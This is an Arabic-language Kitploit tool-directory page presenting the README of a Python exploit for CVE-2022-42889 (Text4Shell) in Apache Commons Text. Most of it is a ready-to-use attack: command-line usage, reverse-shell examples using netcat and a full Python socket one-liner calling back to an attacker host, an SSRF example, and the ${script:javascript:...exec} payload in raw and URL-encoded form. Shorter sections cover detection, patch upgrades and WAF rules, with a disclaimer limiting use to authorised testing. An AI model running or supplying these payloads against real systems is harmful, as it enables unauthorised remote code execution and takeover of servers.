Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/engranaabubakar/cve-2022-42889
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمأداة الوصول عن بعد
GitHubengranaabubakar/cve-2022-42889

CVE-2022-42889

أداة استغلال بلغة بايثون لـ CVE-2022-42889 (Text4Shell) تتيح تنفيذ الأوامر عن بعد عبر استيفاء Apache Commons Text. تدعم إنشاء شل عكسي، SSRF، وتنفيذ أوامر مخصصة.

عرض المستودع
12منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

🚀 استغلال CVE-2022-42889 (Text4Shell)

Python 3 License CVE

أداة استغلال بلغة بايثون لـ CVE-2022-42889 (Text4Shell)، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في Apache Commons Text الإصدارات الأقدم من 1.10.0.

📋 جدول المحتويات

  • الوصف
  • تفاصيل الثغرة
  • الإصدارات المتأثرة
  • ميزات الأداة
  • المتطلبات
  • الاستخدام
  • أمثلة
  • كيف تعمل
  • الكشف
  • التخفيف
  • المراجع
  • إخلاء المسؤولية

📝 الوصف

تستهدف هذه الأداة CVE-2022-42889 (Text4Shell)، وهي ثغرة في Apache Commons Text تسمح بـ تنفيذ الأوامر عن بُعد (RCE) من خلال سلاسل إدخال مصممة خصيصاً تعالجها StringLookup interpolator.

تشبه الثغرة في تأثيرها Log4Shell لكنها تؤثر على مكتبة مختلفة. عندما يتم تمرير إدخال يتحكم به المستخدم إلى طرق ضعيفة، يمكن للمهاجم تنفيذ تعليمات برمجية عشوائية على النظام المستهدف.

🎯 تفاصيل الثغرة

  • CVE ID: CVE-2022-42889
  • CVSS Score: 9.8 (حرجة)
  • Attack Vector: شبكة
  • Privileges Required: لا شيء
  • User Interaction: لا شيء
  • Impact: اختراق كامل للنظام

المكون الضعيف

يوفر Apache Commons Text الربط بين السلاسل من خلال واجهة StringLookup. يتيح interpolator تقييم التعابير ببادئات مختلفة، منها:

  • ${script:javascript:...} - تنفيذ كود JavaScript (محرك Nashorn)
  • ${url:UTF-8:...} - جلب عناوين URL (SSRF)
  • ${dns:...} - استعلامات DNS

⚠️ الإصدارات المتأثرة

المنتجالإصدارات المتأثرةالإصدار المُصحَّح
Apache Commons Text< 1.10.01.10.0
Java< 15 (لـ RCE)15+ (Nashorn معطل)

ملاحظة: إصدارات Java ≥ 15 ليست عرضة لـ RCE عبر البادئة script (Nashorn معطل)، لكنها قد تظل عرضة لـ SSRF عبر البادئات url و dns.

✨ ميزات الأداة

  • ✅ تنفيذ الأوامر عن بُعد (RCE) عبر JavaScript interpolation
  • ✅ تزوير الطلبات من جانب الخادم (SSRF) عبر URL interpolation
  • ✅ ترميز URL للحمولات الخبيثة
  • ✅ تنفيذ أوامر مخصصة
  • ✅ إنشاء شل عكسي مع LHOST/LPORT
  • ✅ معالجة الأخطاء وعرض الاستجابات

📦 المتطلبات

  • Python 3.6+
  • مكتبة requests

تثبيت التبعيات:

pip install requests

📖 الاستخدام

python3 text4shell.py -t <TARGET_IP> -p <PORT> -c <COMMAND> --lhost <YOUR_IP> --lport <YOUR_PORT>

الوسائط

الوسيطةالوصفمطلوب
-t, --targetعنوان IP الهدف✅ نعم
-p, --portالمنفذ الهدف (الافتراضي: 8080)❌ لا
-c, --commandالأمر المراد تنفيذه✅ نعم
--lhostعنوان IP الخاص بك للشل العكسي✅ نعم
--lportالمنفذ الخاص بك للشل العكسي✅ نعم

💻 أمثلة

مثال 1: اختبار أمر بسيط

python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444

مثال 2: شل عكسي مع netcat

# تشغيل المستمع
nc -lvnp 4444

# تشغيل الأداة
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444

مثال 3: شل عكسي بلغة Python

python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444

مثال 4: اختبار SSRF

python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444

🔧 كيف تعمل

بناء الحمولة: تنشئ الأداة سلسلة خبيثة باستخدام صيغة ${script:javascript:...}:

${script:javascript:java.lang.Runtime.getRuntime().exec('COMMAND')}

ترميز URL: يتم ترميز الأحرف الخاصة في URL لضمان النقل الصحيح:

%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMMAND%27%29%7D

طلب HTTP: ترسل الأداة طلب GET إلى:

http://TARGET:PORT/search?query=ENCODED_PAYLOAD

تنفيذ الأمر: إذا كان الهدف ضعيفاً، يقوم بتقييم JavaScript وتنفيذ الأمر.

🔍 الكشف

تحقق مما إذا كان نظامك ضعيفاً:

اختبار يدوي:

curl -s "http://target:8080/search?query=\${script:javascript:7*7}"

إذا احتوت الاستجابة على 49 بدلاً من ${script:javascript:7*7}، فالنظام ضعيف.

فحص الإصدار:

  • افحص ملفات CHANGELOG أو README الخاصة بـ Apache Commons Text
  • ابحث عن ملفات commons-text-*.jar في التطبيق

🛡️ التخفيف

قم بترقية Apache Commons Text إلى الإصدار 1.10.0 أو أحدث:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.10.0</version>
</dependency>

الترقية إلى Java 15+ (تعطيل محرك JavaScript Nashorn).

التحقق من الإدخال: قم بتنفيذ تحقق صارم من إدخال المستخدم.

تعطيل interpolation: إذا لم يكن ضرورياً، تجنب استخدام StringSubstitutor.createInterpolator().

جدار حماية تطبيقات الويب (WAF): حظر الطلبات التي تحتوي على أنماط ${script:javascript:}.

📚 المراجع

  • NVD - CVE-2022-42889
  • أمان Apache Commons Text
  • تحليل Text4Shell من Tarlogic
  • تنبيه CISA

⚠️ إخلاء المسؤولية

هذه الأداة لأغراض تعليمية واختبار الأمان المصرح به فقط. الاستخدام غير المصرح به لهذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني. المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.

📄 الترخيص

هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.

🤝 المساهمة

المساهمات والمشكلات وطلبات الميزات مرحب بها! لا تتردد في زيارة صفحة المشكلات.

استمتع بالاختراق! 🚀

تنزيل الأداة